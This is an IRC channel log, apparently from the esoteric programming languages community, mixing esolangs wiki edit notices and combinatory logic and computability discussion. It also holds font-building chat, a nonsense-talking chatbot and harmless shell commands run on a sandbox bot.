06:29:57  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45450&oldid=45449 * Quintopia * (+2) /* Hello, world! */
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06:32:17  [wiki] [[Aubergine/aubergine.py]]  http://esolangs.org/w/index.php?diff=45451&oldid=45448 * Quintopia * (-146) Ref impl allows jumping outside of program in either direction to halt
06:33:07  Hm...
06:33:50  Am I correct in my calculuations that B(BBB) = a(bc)(de)(fg) wher B is from the B,C,K,W system (Babc = a(bc))
06:33:53  ?
06:47:04  where are those small letters coming from?
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06:47:40  myname: Right, right, forgot.
06:47:49  Those are the things it's applied to
06:48:05  B(BBB)abcdefg = a(bc)(de)(fg)
06:48:11  It seems like it shouldn't be right
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06:50:32  [wiki] [[Aubergine/aubergine.py]]  http://esolangs.org/w/index.php?diff=45452&oldid=45451 * Quintopia * (+2) this is out of bounds too according to ref impl
06:51:24  my attempt: (B(BBB))abcdefg = B(BBB)abcdefg = (BBB)(ab)cdefg = BBB(ab)cdefg = B(B(ab))cdefg = B(ab)(cd)fg = ab((cd)f)g
06:51:58  myname: Combinatory logic is hard :/
06:52:13  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45453&oldid=45450 * Quintopia * (-33) /* Examples */ Golfed the quine some more
06:52:31  Remember that I had to figure out how many variables there were in the process, so abcdefg might be too many
06:53:44  [wiki] [[Combinatory logic/Analysis of combinators]]  http://esolangs.org/w/index.php?diff=45454&oldid=45436 * Hppavilion1 * (+2217) Various new combinator walkthroughs, some might even be right!
06:56:48  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45455&oldid=45453 * Quintopia * (+0) /* Hello, world! */ Original had a comma
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07:06:50  [wiki] [[Combinatory logic/Analysis of combinators]]  http://esolangs.org/w/index.php?diff=45456&oldid=45454 * Hppavilion1 * (+570) MOAR combinators
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08:06:33  hppavilion[1]: a(bc)(de)(fg) = B(a(bc)(de))fg = BB(a(bc))(de)fg = B(BB(a(bc))defg = BB(BB)(a(bc))defg = B(BB(BB))a(bc)defg = B(B(BB(BB))a)bcdefg = BB(B(BB(BB)))abcdefg
08:07:18  it's a mechanical transformation that way
08:07:54  @pl \a b c d e f g -> a(b c)(d e)(f g)
08:07:54  ((((((.) .) .) . (.)) .) .) . (.)
08:09:04  argh is that the same
08:10:20  @pl \a bc d e f g -> a bc(d e)(f g)
08:10:20  (((((.) .) .) . (.)) .)
08:11:48  @pl \abc d e f g -> abc(d e)(f g)
08:11:48  (((.) .) .) . (.)
08:12:55  i suppose there might be alternative paths
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08:59:24  \oren\: re char count, thanks
08:59:28  it says 5601
09:06:12  \oren\: since you're now extracting the set of characters automatically, you can also add some automatic checks: make sure that all characters are on the demo page, make sure that all printable characters encodable in certain byte encodings are all in your font, say iso-8859-{1,2,4,15,16}, cp125{2,0,1}-new, ibm{437,850,852}
09:10:14  Especially in ibm437 because that's important, has strange characters, and the unicode encoding is not well defined historically.
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10:31:47  fungot: Hi
10:31:47  mroman: to use the janko layout :( en tii ei toimi fnord vaan sanoo ett mulla ei oo fnord ja nyt koko fnord haisee fnord. let me check
10:31:59  fungot: Is that a keyboard layout?
10:31:59  mroman: who needs two asses?' as if vim is some unknown entity
10:32:23  fungot: two donkeys are better than one.
10:32:24  mroman: each blogger has the ability to send items fnord. ( and we didn't have autocad) ( else)
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10:34:43  fungot: but two mules are even better than two donkeys
10:34:44  b_jonas: and very very bad explanation lying on pastebin and i'm adding the last bits; the interpreter is in vm/ heap/ stack/ probably?
10:57:50  fungot: Are you a mule?
10:57:51  mroman: although i guess tentacles could be called " main" procedures at the top level is really just a suburb of new york. i almost have to.
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11:40:31  ^style
11:40:33  Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
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11:43:23  fungot: fnord?
11:43:24  boily: in case you haven't noticed. " heh." ( if that were the subject of a cfj was used as an interpreted has failed this ' local' served up an english breakfast, complete with ftl ship, while he watches them via a microscope.
11:44:03  a Full English Breakfast delivered by FTL ship. I could see myself eating that last Sunday.
11:45:10  fungot: you still don't really understand punctuation, do you?
11:45:10  b_jonas: and at this point in time.
11:46:14  fungot's spacetime alignment is a little fuzzy...
11:46:14  boily: fnord annotated 7907 with " rsa" at http://paste.lisp.org/ display/ fnord? starts with lambda calculus
11:47:52  > let loeb x = go where go = fmap ($ go) x in tail . loeb $ const 1 : map (fmap sum . take) [0..]
11:47:54   [0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946,...
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11:57:42  `relcome vjoba 
11:57:44  ​vjoba: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
11:57:58  Taneb: Tanelle. that is vile.
11:58:24  boily: I was trying to get the triangle numbers, is the worst thing
11:59:11  that is terrifyingly vile.
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12:00:03  beuh, a fleeing `relcomed newcomer...
12:00:20  Maybe they're going to DALnet or EFnet
12:01:22  Or maybe they really do not like rainbows
12:03:05  `perl -le$==1,(1x$_)=~/(^)(1|11\1)*(?{$=++})^/,print$=for 0..20
12:03:06  2 \ 3 \ 5 \ 8 \ 13 \ 21 \ 34 \ 55 \ 89 \ 144 \ 233 \ 377 \ 610 \ 987 \ 1597 \ 2584 \ 4181 \ 6765 \ 10946 \ 17711 \ 28657
12:05:06  I have no idea how that works
12:05:48 * boily eats breakfast cereals. cereals are simple.
12:06:55  Taneb: http://www.perlmonks.com/?node_id=796576 and follow links from there
12:07:33  I don't have a really obfuscated fib, but..
12:07:35  [ {.{.|:(+/ .*)^:(<20)~2 2$*i.4
12:07:40  :(
12:07:58  how do you detect cycles in a list like this?     a->b b->c c->d ... z->a
12:08:18  Tortoises and hares
12:08:22  izabera: isn't there the.. yeah
12:08:32  yeah but
12:08:54  ok it's not a linked list actually
12:09:08  well the principle still works I think
12:09:22  Unless it could be a lazy infinite list
12:09:31  no it's finite
12:09:39  i'm trying to fix something in (guess what) bash
12:09:48  how bash resolves namerefs
12:11:13  i'll try to apply tortoise and hare <.<
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12:44:27  [wiki] [[Talk:5-logic]]  http://esolangs.org/w/index.php?diff=45457&oldid=14929 * Martin Büttner * (+504) 
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12:58:13  izabera: topological sorting?
12:58:44  err what
12:59:25  i didn't mean to steal your focus sorry
12:59:44  please be esoteric
12:59:51  I don't know. It's the only algorithm I associate with cycle detection in graphs.
12:59:57  well.. that's the only one I was taught at least.
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13:01:30  You throw every node out that has no inputs
13:01:34  and you're left with cycles
13:03:30  i'm not doing anything that fancy <.<
13:15:23  :(
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14:47:33  Question. Does the particular representation of a computability class that David Madore defines in http://www.madore.org/~david/weblog/d.2015-11-16.2337.html count as an esoteric programming language (not implementable, because it's more powerful than Turing-complete)? 
14:49:07  It is well defined enough that you can write prorams for it, but it's not inteded to be practically programmed, so it might count as one, but then IA64 machine code could also count as esoteric programming language in that sense.
14:50:13  where's the english version?
14:50:26  there's none
14:50:35  it's in French
14:51:32  I think the definition of an esolang is fuzzy and weak enough that it would probably count
14:51:40  not having read it, just going by your description
14:52:02  I think the only thing that makes IA64 machine code not an esolang is that it's actually used in practice for practical purposes...
14:52:55 -!- int-e_ has set topic: int-e.
14:52:59  what...
14:53:02 -!- int-e_ has changed nick to int-e.
14:53:19 -!- int-e has set topic: The flating channel. | /ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
14:53:37  sometimes my brain is awfully confused :-(
14:56:37 -!- TieSoul has joined.
15:00:03  Well, that's a lie. It's always terribly confused, but it's usually much better at hiding that fact from the outside world.
15:00:04  Pity it doesn't have a name given. 
15:00:08  fungot: help!
15:00:08  int-e: made it long before i lose interest. but thanks, i'll read in it a bit more :) but then i'll be free to contribute)...)
15:00:16  `?
15:00:17  ​? ¯\(°​_o)/¯
15:00:20  `wisdom
15:00:21  jwinslow23/JWinslow23 is not here.
15:00:25  `wisdom
15:00:26  bonvenon/Bonvenon al la internacia centro por la desegno kaj ellaso de esoteraj programlingvoj! Por pli da informado, vizitu la Viki-on: http://esolangs.org/wiki/Main_Page. (Por la alia speco de esotero, iru al #esoteric sur irc.dal.net.)
15:00:44  `wisdom
15:00:46  kmc/kmc ran the International Devious Code Contest of 2013
15:01:28  fungot, should I code this the straightforward way or the tricky way?
15:01:29  b_jonas: will you marry me? ( sorry i don't have
15:01:33  ...
15:01:37  that was unexpected
15:01:42 -!- TieSoul has quit (Ping timeout: 260 seconds).
15:02:35  perhaps surprisingly, that is not the first time I've seen a bot make a marriage proposal
15:03:15  b_jonas: the tricky way is fraught with peril down the road
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15:17:50  It's actually two programming langauges, because he also claims that by dropping rule 7, you get a language that is Turing complete but no more powerful.
15:18:25  b_jonas: context?
15:18:52  ais523: "Question. Does the particular representation of a computability class that David Madore defines in http://www.madore.org/~david/weblog/d.2015-11-16.2337.html count as an esoteric programming language (not implementable, because it's more powerful than Turing-complete)?"
15:19:13  I think it does, but it doesn't have a nice name, so we need to give those two languages nice names and document them on the esowiki.
15:19:26  Yes, that would be nice
15:19:29  Would make it more accessible too
15:19:38  oh right, David Madore writes a large subset of things in French
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15:28:57  ok, so what name should we use for these two languages?
15:29:29  hyperarithmetics?
15:30:43  int-e: no, I think that's the computational class. we need something for this particular programming language with that power, and for the other language that computes only all computable functions too.
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15:32:05  We need a snappy name, like "Real Fast Nora's Hair Saloon 3: Shear Disaster Download
15:32:05  izabera: I believe that ^^ was for you
15:32:13  "
15:32:22  um yes, sorry
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15:44:01  [wiki] [[User:B jonas]]  http://esolangs.org/w/index.php?diff=45458&oldid=44539 * B jonas * (+139) /* Todo */
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15:59:27  b_jonas: How about "In-silico Vector Construction"
16:01:21  quintopia: dunno. 
16:02:39  b_jonas: "Panglossian Prerogative"?
16:05:54  quintopia: we need two related names. one for the computable version, one for the more powerful one.
16:06:09  why do they need to be related
16:06:33  because the languages are related too
16:06:35  "The Comutable One" "The More Powerful One"
16:06:51  maybe throw in a "++" for the more powerful one
16:07:42  "Pizza Parlor" "Sex Parlor" i think that conveys the relatedness and the relationship between them
16:37:59  [wiki] [[Banana Scheme]]  http://esolangs.org/w/index.php?diff=45459&oldid=20646 * B jonas * (+187) 
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17:04:42  wtf
17:04:50  `? assemble
17:04:55  assemble? ¯\(°​_o)/¯
17:09:27  `? assembly
17:09:28  assembly? ¯\(°​_o)/¯
17:18:48  MaRo writes some hard to believe things in http://magic.wizards.com/en/articles/archive/making-magic/know-what-2015-11-16 
17:19:33  (1) he says he's vowed to make assembling contraptions work some day, and (2) he says they're doing fewer clone effects these days
17:22:00  hmm, (2) actually seems true. interesting...
17:22:33  I mean, for a while there were a ton of clone effects in uncommon, which was strange to me because at the time I was the most active, there were almost none
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17:25:48  b_jonas: (1) is true but probably misguided
17:25:56  I've tried analyzing the grammar of that phrase myself
17:26:04  there are very few actions that could possibly be templated like that
17:27:03  the closest I can get using existing keywords is "whenever a «Goblin» you control would «block» an «Elf», it «blocks» two «Elves» instead" which I think is correctly templated but wouldn't be printed due to the actual ability raising too many questions
17:27:55  also I personally think the biggest problem with M:tG is that it's all focused on creating temporary metagames that you throw away after a few months
17:28:00  rather than working on really improving a single metagame
17:28:21  meaning that they can be quite simplistic and easy to solve and Wizards just has to slow down the thread of information, and also that the game doesn't have long-term appeal without continuously spending money
17:32:59  "slow down the spread of information"
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18:42:44  ais523: I definitely agree that trying to make assembling contraptions work is a bad idea
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19:04:02  aha! it actually makes sense this way
19:04:27  rule 5 is doing what that rule should be doing, and what it does in that language whose name I can't remember, it's just difficult to read
19:04:55  we should make a language whose name is impossible to remember
19:05:12  but also isn't just a bunch of mashing on the keyboard, and whose name is also hard to abbreviate or substitute as something else
19:05:32  The Language That Shall Not Be Abbreviated As ABCDEF is probably the best we have in this regard so far
19:05:39  that could be achieved by making a set of languages whose names are all similar
19:05:44  as in, twisty maze of passages
19:06:01  though of course "impossible" isn't easy to satisfy when you're on this channel
19:06:06  people take it as a challenge
19:06:17  Well I never remember INTERCAL's *name* (as opposed to acronym)
19:06:20  if that counts
19:06:35  Compiler Language With No Pronounceable Acronym
19:06:37  it has a name?
19:06:39  Oh, right
19:06:45  isn't INTERCAL the name?
19:06:53  No, what ais523 said is the canonical name I think
19:07:01  Well, INTERCAL might be the actual name
19:07:05  it's defined as something like "INTERCAL, which stands for Compiler Language With No Pronounceable Acronym"
19:08:23  this makes it rather philosophical what its name actually /is/
19:08:40  it's one of the best esolang naming screwups that wasn't created by cpressey
19:08:46  but which rules lets you cons a pair? there has to be one, you can't be expected to build it from addition because you need to make conses to implement that because rule 6 has to be involved and it needs lists
19:08:54  (intentional screwups, I should say)
19:10:16  no, I don't get it
19:10:21  how do you cons?
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19:11:37  b_jonas: just out of interest: if you come across a website in a language you don't know and machine-translate it, do you translate it into English or Hungarian?
19:12:01  ais523: I don't know, I almost never try to machine-translate websites
19:12:13  fair enough
19:12:18  but if I tried, I probably machine translated it to English
19:12:27  in my understanding google translates to english first and then to the second language
19:12:34  I used to do it more, and got decently good at reading "machine translator output that's allegedly English" (which is really a language of its own)
19:12:42  but I haven't done it for a while
19:12:47  (especially since I decided to break ties with Google)
19:12:48  ais523: from what source languages?
19:13:00  b_jonas: French was probably the most common
19:13:09  ais523: and did you read it without reading the source in parallel, or with?
19:13:11  although I know enough French to make semi-sense of articles written in it even without translation
19:13:12  oh, French is easy
19:13:25  French is easier to translate to English automatically than Chinese that is
19:13:43  especially if you read texts about mathematics or informatics, where most of the words simply mirror translate
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19:14:28  no seriously
19:14:43  can you make sense of the language in http://www.madore.org/~david/weblog/d.2015-11-16.2337.html ? 
19:14:45  that makes sense, although you have to be very careful sometimes
19:14:46  how do you cons
19:14:56  and if you can't cons, how do you use rule 6?
19:14:56  (e.g. fr:positif = en:nonnegative)
19:15:13  ais523: that's not really uniform, neither in English nor in French, sadly
19:16:03  1 is a proof of int.
19:16:11  (Like a boss)
19:16:52  he gives a sample program so it should be possible to figure it out
19:18:05  and from the simple interpreter he gives, it is clear that he does not depend on the particular representation of pairs, so it's even more clear that it must not be built from successor
19:19:11  oh! I think you can use rule 4 (the composition rule) to cons, because it passes a list as argument, and not every program takes that list apart
19:19:49  hppavilion[1]: int is not very interesting when interpreted as a theorem, though
19:19:56  that wouldn't let you cons, but it would let you list, which should probably be enough 
19:19:57  ais523: True
19:20:11  b_jonas: for my paper, one of the papers I cite was in German
19:20:16  because nothing in the language requires you to use variable length lists
19:20:17  *for my thesis
19:20:26  I know a little German but was mostly just reading the mathematical notation
19:20:41  shachaf: which reminds me, did you read my thesis yet? you bugged me for so long for a copy ;-)
19:21:05  ais523: didn't you say it would be available starting from december, or something?
19:21:14  b_jonas: publicly, yes
19:21:28  shachaf negotiated with the thesis archival people here to be allowed an early copy
19:21:45  ah
19:22:04  he argued that it's very important for his research?
19:22:25  ais523: Not yet. :-(
19:22:33  b_jonas: It's being kept hidden for ais523's sake, not for the university's.
19:22:43  He's free to send a copy to anyone as far as I can tell.
19:22:50  something like that
19:23:03  they basically said it was OK for me to send shachaf a copy directly, so I did
19:23:11  the reasoning/nature for the rules is very complex
19:23:29  incidentally I could have had a hold placed on the publication of the thesis, although only a relatively short one without a really good reason
19:23:35  it's unclear to me why I'd have wanted to
19:26:20  ok, so why does he say that rule 0 isn't really needed?
19:31:05 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
19:31:31  can you give a program equivalent to <0> that uses only rules 1..6? I don't see how to do that, but it's probably possible
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19:37:17  seriously
19:38:36  but at least I can see why if you use rules 0..6 you get a reasonably easy to use turing-complete programming language, on the esoteric scale
19:43:32  WHOO!
19:43:37  MY PARSER IS PARTIALLY WORKIN!
19:43:41  *WORKING!
20:03:21  [wiki] [[Combinatory logic/Analysis of combinators]] M http://esolangs.org/w/index.php?diff=45460&oldid=45456 * Hppavilion1 * (+105) /* B[2] combinator */
20:03:43  [wiki] [[Combinatory logic/Analysis of combinators]]  http://esolangs.org/w/index.php?diff=45461&oldid=45460 * Hppavilion1 * (-1) /* C combinator */ Fixed a letter
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20:18:12  http://imgur.com/gallery/ueKVqjY  this
20:20:49  I'll buy three
20:20:58  foo((X, Y), Z) :- bar(X), baz(Y, Z);
20:21:51  hppavilion[1]: why are you a computer?
20:22:13  hppavilion[1]: is that Prolog? or just a language designed to look like it?
20:22:25  actually it can't be Prolog unless it's been split mid-predicate
20:22:32  because Prolog predicates end with a full stop, not a semicolon
20:29:44  right
20:30:16  ais523: It's a prolog-like language, but it's not prolog
20:30:36  right
20:31:46  ais523: It draws a lot from modal logic
20:31:53  It's temporal and epistemic
20:33:41 -!- Vinegar has joined.
20:33:52  everybody should use more curry
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20:38:06  myname: on their food?
20:39:33  like https://en.m.wikipedia.org/wiki/Curry_(programming_language)
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20:58:47  What's the name of that programming language used in early papers about programming language theory that has rules very similar to 2 and 5 of David Madore's machine, that is, where the basic way to build functions is to compose other functions with arbitrary arity as in the Applicative instance of (->) ?
20:59:34  I think it has some famous inventory or something.
20:59:52  s/(inventor)y/$1/
21:02:24  b_jonas: Whoa. That's hardcore s///ing.
21:03:17  nah. s/y//
21:03:23  y/y//d
21:03:44  https://github.com/ryanmcdermott/birdseed
21:09:24 -!- ent0nces has quit (Remote host closed the connection).
21:11:10  Do you know which language I'm talking about?
21:13:44 -!- Lord_of_Life has quit (Excess Flood).
21:15:13  I think it might be, like, the original pure functional programming language, or close to it.
21:15:29  Not the first pure functional programming language, because Church probably precedes it, but still
21:15:34  maybe the first one without variables
21:15:40  so more like the original Unlambda
21:16:40  only it has ennary composition instead of just S, and easy access to any parameter of the current function
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21:18:16  But this doesn't give much keywords to search for.
21:18:53  Does my explanation make sense?
21:19:22  miranda? ml?
21:19:31  myname: no no, those are real langauges used on a comptuer
21:19:40  this is for writing stuff on paper, back when efficient computers were rare
21:19:46  it's old
21:19:47  older than ml
21:20:00  also, doesn't have variables, in the sense that unlambda doesn't have them
21:20:22  but you can emulate variables just like in unlambda or any other complete combinator calculus
21:22:12  oerjan, help me!
21:24:25  Help me, Oer-Jan Kenobi, you're my only hope!
21:27:17  Maybe it's connected to Howard Curry
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21:31:16  ok, good night
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22:22:42 -!- sebbu has quit (Ping timeout: 250 seconds).
22:25:29  There. WalText2i should be working
22:25:48  I had to do a workaround for Complex Conjugate. It's $ instead of *
22:26:06  I ALSO included binary ~, which chooses a number in a range
22:26:10 -!- ais523 has quit.
22:26:10 -!- Vinegar has quit (Ping timeout: 240 seconds).
22:26:14  AND I think I have -x working
22:31:39 -!- Sprocklem has quit (Ping timeout: 240 seconds).
22:38:21  (e.g. 0~5 = random.choice([0, 1, 2, 3, 4, 5]))
22:38:28  (Or maybe 5 isn't included in a range like that
22:38:29  )
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22:51:06  fungot: nostril.
22:51:06  boily: google knows all!!
22:52:29  I didn't teach it that.
22:54:04  right...
22:54:14 * boily eyes fizzie with suspicion and a mapole
22:54:34  fungot: Tell them that was all your own opinion.
22:54:34  fizzie: ( added null operators on the end) does leak memory...
22:55:13 -!- Vinegar has joined.
22:55:58  at least the 'got now balances his parentheses.
22:56:23  fungot?
22:56:24  shachaf: what two stars does? to me it's just too hard. how much power do you get fnord to open a window on every x desktop and cat urandom into it
22:56:47  if you think two stars is too hard, wait until you hear of ais523's new language
22:57:37  fungot: Every X desktop in the world? 
22:57:37  fizzie: i do not care, then remembered again!) paste a line of joyce wrote fnord/ fnord/ fnord/ fnord and friends
22:57:54  There goes the balance.
22:59:54  `` cat /dev/urandom
22:59:54  ​;kbuVBFV捬x@Xz&eFK9"S<2BJ.Tca≉W(vH܆xŁ/:
23:01:44  is it displayed the same everywhere: http://imgur.com/JHGm7eO ?
23:02:16 -!- mauris_ has joined.
23:02:35  Not at all.
23:03:16 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
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23:14:34  boily: https://clbin.com/D0pijl.png
23:15:13  http://i.imgur.com/hPDIW6w.png
23:17:04 * boily strokes his beard. “interesting...”
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23:21:46  [ 1 2 3
23:21:46  FreeFull: 1 2 3
23:21:52  Awesome, we have j-bot here too
23:24:07  what does it do
23:24:26  Evaluates J.
23:24:35  whoa
23:24:49  Let's see if I can remember this...
23:24:59  [ ~/ 'izabera'
23:25:00  zgrep: |syntax error
23:25:00  zgrep: |       ~/'izabera'
23:25:05  Nope, apparently not.
23:35:46  What did you think ~ did?
23:36:23  anyway you guys seriously lack imagination when picking names
23:37:54  How so?
23:38:47 -!- hppavilion[1] has joined.
23:39:24  [wiki] [[Special:Log/newusers]] create  * Blakusl *  New user account
23:45:50  j-bot to interpret j
23:46:01  fungot because befunge
23:46:01  izabera: how does one go about binding scheme ( say, on the other
23:46:40  hppavilion[1] beacuse he uses an hp pavilion
23:47:03  HackEgo because you can hack on it.
23:47:11  izabera: I used to, but it broke
23:49:33  zgrep: What was ~/ meant to do?
23:51:34  it's your home directory hth
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23:55:01  [wiki] [[User:Hppavilion1/UniFunge]]  http://esolangs.org/w/index.php?diff=45462&oldid=45441 * Hppavilion1 * (+1311) Meanings

2015-11-18:

00:06:36 -!- Sprocklem has joined.
00:07:53  FreeFull: Not what happened. :P
00:07:58  izabera: Not what I meant.
00:07:59 -!- Vinegar has quit (Ping timeout: 276 seconds).
00:08:18  FreeFull: Well, it's meant to do that, but that's not what I wanted to happen.
00:09:17  [ *~ 10
00:09:18  FreeFull: 100
00:09:23  [ *: 10
00:09:24  FreeFull: 100
00:11:45  can i create a page about that brace expansion thingy?
00:13:06 <\oren\> of course
00:25:21 -!- lleu has quit (Quit: That's what she said).
00:42:21  hm did that work well
00:42:44  nope
00:43:44  not even ctrl-alt-del works...
00:46:07  Are you okerjan
00:47:43  hard reboot again
00:47:58  it seems like any programs i want started, i must start shortly after the machine boots
00:49:41 -!- mihow has quit (Quit: mihow).
00:50:12 -!- mihow has joined.
00:50:17  and then i must not leave it idle too long, or it will reboot.
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01:37:16  hellœrjan. are you still suffering from an unstable machine?
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01:41:23  yep
01:41:30  `? bonveno
01:41:31  bonveno? ¯\(°​_o)/¯
01:41:39  `? bonveno`n
01:41:40  bonveno`n? ¯\(°​_o)/¯
01:41:42  `? bonvenon
01:41:43  Bonvenon al la internacia centro por la desegno kaj ellaso de esoteraj programlingvoj! Por pli da informado, vizitu la Viki-on: http://esolangs.org/wiki/Main_Page. (Por la alia speco de esotero, iru al #esoteric sur irc.dal.net.)
01:41:57  `` mv wisdom/{bonvenon,welcome.eo}
01:42:01  No output.
01:42:11  `` grep bonve bin/*
01:42:15  grep: bin/selflink: Too many levels of symbolic links
01:42:23  wat
01:42:35  `` ls -l bin/selflink
01:42:36  lrwxrwxrwx 1 5000 0 8 Jun 21 02:47 bin/selflink -> selflink
01:42:43  `rm bin/selflink
01:42:45  No output.
01:42:47  `` grep bonve bin/*
01:42:47  No output.
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01:59:15 <\oren\> what characters should I add today?
02:03:07  the ones you forgot yesterday
02:03:19 * izabera useful
02:04:53  \helloren\
02:04:56  https://www.youtube.com/watch?v=Seh9_sFv1Z4
02:05:14  (this video is dedicated to all this fine channel's insomniacs.)
02:05:27  \oren\: have you covered the jōyō kanji yet?
02:05:37 <\oren\> not yet
02:05:51  what is THAT
02:06:20 <\oren\> https://www.youtube.com/watch?v=TeiTkkp2TKM
02:06:25  izabera: it was one of the videos showcased yesterday night.
02:06:51 <\oren\> yay let's all pst youtube links without any clue to what they point to
02:07:05  you see, every Monday night, I attend the «Lundi Douteux». it's a weekly event in a bar near home where they show disturbing and disquieting things on a screen.
02:07:53  == they dump 4chan
02:08:34  [wiki] [[Special:Log/newusers]] create  * SilverWingedSeraph *  New user account
02:09:12  https://www.youtube.com/watch?v=rLy-AwdCOmI
02:09:50  izabera: of course not. it goes deeper.
02:19:40  [wiki] [[User:SilverWingedSeraph]] N http://esolangs.org/w/index.php?oldid=45463 * SilverWingedSeraph * (+24) Create empty page.
02:20:58  https://www.youtube.com/watch?v=FTIkCbDdBNc
02:21:33  @localtime izabera
02:21:34  Local time for izabera is Wed, 18 Nov 2015 03:20:17 +0100
02:21:49  izabera: shouldn't you be sleeping?
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02:28:25 * oerjan realizes he forgot to include the OOTS book in his backup, it wasn't in Documents
02:30:43  aaaaaaaaaaaaaaaah!
02:30:52  is it lost&
02:31:02  s&\&&?&
02:32:52  i should rather block time requests
02:34:53  time to pillow for me. bonne nuizabera!
02:34:58 -!- boily has quit (Quit: COMMUNAL CHICKEN).
02:36:52  @tell boily no, my computer _is_ still working enough to copy more
02:36:52  Consider it noted.
02:37:16 -!- Warrigal_ has changed nick to tswett.
02:39:10  there
02:49:23  Woo!
02:49:49  I just proved that for a natural number n, the n-fold successor of 1 is the successor of n.
02:53:11  Dang, if I keep this up, I might just be able to prove that the natural numbers are a commutative semiring.
02:56:18  tswett: russell and whitehead, eat your heart out!
02:57:03  I'm using possibly the minimum feasible axiomatization of the natural numbers.
02:57:27 -!- Sprocklem has joined.
02:57:42  I'm not even admitting logic.
02:57:49  ah.
02:58:02  My system has no concept of disjunction.
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03:09:06  [wiki] [[Language list]] M http://esolangs.org/w/index.php?diff=45464&oldid=45315 * Blakusl * (+14) Adding Brackit language
03:09:47 <\oren\> oerjan: oh, good, you're doing backups. are you going to nuke the computer after or just get a new one?
03:11:05  [wiki] [[Semantic Brain]] N http://esolangs.org/w/index.php?oldid=45465 * SilverWingedSeraph * (+7733) Create page and add specification, description, and sample programs.
03:14:22  [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45466&oldid=45465 * SilverWingedSeraph * (+12) Fix categorization.
03:17:39  Woo! I proved addition commutative, and it only took about ten minutes.
03:18:23  Lemme describe my system.
03:19:08  The ambient "logic" is that of a finite limit category.
03:20:44  Better known as a finitely complete category.
03:20:55  Without further ado.
03:22:15 -!- Vinegar has joined.
03:22:24  "There are natural numbers. Zero is a natural number. The successor of a natural number is a natural number. Given a value z and a function s, there is a function R such that R(zero) = z and for all n, R(succ(n)) = s(R(n)). Given two functions f and g, if f(zero) = g(zero), and f(succ(n)) = g(succ(n)) whenever f(n) = g(n), then f = g."
03:25:29 -!- myndzl has changed nick to myndzi.
03:27:12  My hope is that that's enough to prove... a bunch of stuff.
03:27:21  It's enough to prove addition commutative!
03:34:21 <\oren\> Holy shit awesome tweets going out under hashtag #ISISクソコラグランプリ
03:34:37 <\oren\> (Isis eat shit grand prix)
03:37:55 <\oren\> wait, no. ISIS shit collage grand prix
03:39:09  `` sed -r "s|([+-])|))\1((|g;s|([*/])|)\1(|g;s|.*|((&))|" <<< "a*b+c^d/e"
03:39:10  ​((a)*(b))+((c^d)/(e))
03:40:13  aint that pretty
03:42:11  \oren\: decisions, decisions.
03:43:29 <\oren\> oerjan: they made a girl chracter called ISIS chan who wears a burka and likes melons for some reason
03:46:06 <\oren\> https://twitter.com/ztube_
03:46:37  \oren\: AFAIK the melon signifies a severed head
03:46:48  a bad joke, really.
03:50:10 <\oren\> well hopefully this annoys the real isis
03:51:48  uh, I don't think so, ISIS uses a media outlet as a primary tactic and it may repurpose the character for its own good
04:13:09  [wiki] [[~EarthBit]] N http://esolangs.org/w/index.php?oldid=45467 * Conor O'Brien * (+865) Created page with "'''EarthBit''' is a [[Joke language]] that is interesting in that all the operators are confused.  == Syntax == In EarthBit there are numeric literals, the only data type. Eac..."
04:14:11  [wiki] [[~EarthBit]]  http://esolangs.org/w/index.php?diff=45468&oldid=45467 * Conor O'Brien * (+19) 
04:14:55  @tell b_jonas  oerjan, help me! <-- FP? doesn't sound quite like it though.
04:14:55  Consider it noted.
04:15:09  [wiki] [[~EarthBit]] M http://esolangs.org/w/index.php?diff=45469&oldid=45468 * Phase * (+0) 
04:17:51  [wiki] [[~EarthBit]]  http://esolangs.org/w/index.php?diff=45470&oldid=45469 * Conor O'Brien * (+167) 
04:18:25 <\oren\> Maybe I should also output a breakdown of my font by blocks
04:22:39  [wiki] [[User:Conor O'Brien]]  http://esolangs.org/w/index.php?diff=45471&oldid=45309 * Conor O'Brien * (+33) /* Languages I have made */
04:34:57 -!- function has joined.
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04:54:09 <\oren\> DAMN
04:54:33 <\oren\> is there an equivalent to sed that works well with binary files?
04:56:04  there's gcc + your c skills
05:01:28 <\oren\> augh. i guess so
05:01:40 -!- function has quit (Quit: 1 found in /dev/zero).
05:06:05  do you need it for your font?
05:08:18  hmph another surprise reboot but at least IE recovered the tabs
05:08:48  give wine a try
05:13:28  I think I'll work on Kastor and how literals work in it
05:20:23  why is the overlap between this channel and the ppcg stack exchange so narrow?
05:21:51 <\oren\> whats ppcg
05:24:59  https://youtu.be/xdRvmHqhiHA   oooh cool
05:50:47  Hm...
05:51:19  I'm considering having a different between => and : dicts in Kastor, but I don't know what to make the difference xD
05:52:39 -!- Vinegar has quit (Ping timeout: 265 seconds).
06:28:01 <\oren\> 喫営嗅嗣嘆嘱嘲噴嚇坪城域執培基埼堀堅堆堕
06:28:01 <\oren\> 堤堪報塀塁塊塑材氾汁求汎汗汚江汰沃沈沖沙
06:28:02 <\oren\> 没沢河沸
06:36:00  oren: file('out', 'wb').write(file('in', 'rb').read().replace('this','that'))
06:39:07  am i the only one thinking that chriss cornell looks like christian bale?
06:39:40  http://www.metalinsider.net/site/wp-content/uploads/2014/02/chris-cornell-soundgarden-353x.jpg
06:40:18  also listen to this, it's awesome even if it's not my genre https://www.youtube.com/watch?v=zpMfZPAc1kg
06:41:58 <\oren\> he looks baleful indeed
06:43:50 -!- J_Arcane has quit (Ping timeout: 276 seconds).
06:45:58  all those irish guys look the same to me
06:46:03  ;-)
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07:12:18  \oren\: "is there an equivalent to sed that works well with binary files?" => perl
07:12:43  prolog?
07:16:57  [wiki] [[Special:Log/newusers]] create  * Tobsta *  New user account
